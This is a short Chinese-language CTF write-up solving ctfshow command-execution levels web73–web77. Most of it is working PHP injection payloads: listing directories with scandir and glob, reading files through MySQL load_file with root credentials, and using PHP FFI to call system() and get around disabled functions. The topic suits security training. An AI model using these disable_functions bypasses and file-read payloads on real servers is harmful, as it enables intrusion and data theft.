ctfshow-命令执行(web73-web77)

web73

用不了上一题的通用poc了 因为禁用了strlen 但是可以改一个函数自定义一个函数只要是能实现strlen效果即可

c=var_export(scandir('/'));exit(0);

根目录下有一个flagc.txt文件

c=include('/flagc.txt');exit(0);

web74

禁用了scandir函数 

那就使用web72的glob协议 查看目录下文件

ctfshow-命令执行(web73-web77)_第1张图片

直接包含这个文件

ctfshow-命令执行(web73-web77)_第2张图片

web75

和上一题一样 

文件换成了flag36.txt 但是禁用了include函数

直接ai搜索 和include一样的函数有哪些

require也不行 file_get_contents函数也不行 

判断当前数据库

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

那就用数据库读

c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

web76

同理 用glob协议 然后用数据库读

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

使用数据库连接的时候报错

但是报 could not find driver的错误,表明此题无法使用PDO连接数据库

查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性

提示 看来这个很牛呀

ctfshow-命令执行(web73-web77)_第3张图片

同理使用glob扫目录 发现flag36x.txt和readflag 但是文件包含都不行了

那就是用提示说的FFI特性 简单理解就是通过FFI,可以实现调用system函数,从而执行命令

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

你可能感兴趣的:(命令执行,CTFSHOW,命令执行,PHP,渗透测试,ctfshow)